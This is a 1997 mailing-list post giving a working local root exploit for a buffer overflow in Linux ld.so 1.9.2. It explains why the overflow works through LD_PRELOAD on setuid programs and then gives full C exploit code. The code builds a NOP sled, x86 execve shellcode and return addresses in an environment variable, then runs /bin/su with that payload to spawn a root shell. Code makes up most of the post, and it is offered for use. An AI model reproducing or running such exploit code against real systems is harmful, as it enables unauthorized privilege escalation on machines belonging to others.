Linux ld.so exploit

Dan McGuirk (mcguirk@INDIRECT.COM)
Sat, 19 Jul 1997 17:28:05 -0700

Here is an exploit for the Linux ld.so buffer overflow recently announced
on this list. It only works for ld.so 1.9.2, not 1.7.14.

The overflow doesn't seem to be exploitable by using a long filename,
because the error messages that get printed are of the form

%s: can't load library '%s'\n

In _dl_fdprintf, the format string is iterated through by incrementing
parameter 'char *fmt', which is located on the stack only four bytes
above the return address you're trying to overwrite. So if you try to
overflow the buffer by using the first %s, the ": can't load library"
part winds up overwriting 'fmt', and then _dl_fdprintf goes crazy and
segfaults before it can return with the phony return address. So I don't
think you can do anything worse than cause a crash by creating a long
argv0.

But you can still exploit the overflow by putting the shellcode string in
LD_PRELOAD. 1.7.14 ignores LD_PRELOAD for setuid executables, but 1.9.2
doesn't. It does require that the LD_PRELOAD string have no slashes in
it, so you have to link /bin/sh into the current directory.

The patch that was posted doesn't defeat this, since it's not argv0
that's causing the overflow.

Anyway, here's the exploit. You may have to adjust the offset, but the
buffer size should be correct.

---------------
/*
* buffer overflow exploit for ld-linux.so.1.9.2
* by Dan McGuirk <mcguirk@indirect.com>
* based on Aleph One's "smashing the stack" code
*/

#include <stdlib.h>

#define DEFAULT_OFFSET 3300
#define DEFAULT_BUFFER_SIZE 1013
#define NOP 0x90

char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff_bin_sh";

unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}

void main(int argc, char *argv[]) {
char *buff, *ptr;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i;

if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);

if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}

printf("sp is 0x%x\n", get_sp());
addr = get_sp() - offset; /* a valid addr is addr = 0xbfffeba8; here */
printf("Using address: 0x%x\n", addr);

ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;

for (i = 0; i < bsize/2; i++)
buff[i] = NOP;

ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];

buff[bsize - 1] = '\0';

memcpy(buff, "EGG=", 4);
putenv(buff);
system("ln -sf /bin/sh _bin_sh");
system("ln -sf /bin/su aa");
system("/bin/sh -c 'export LD_PRELOAD=$EGG; export PATH=$PATH:.; aa'");
system("rm -f _bin_sh");
system("rm -f aa");
}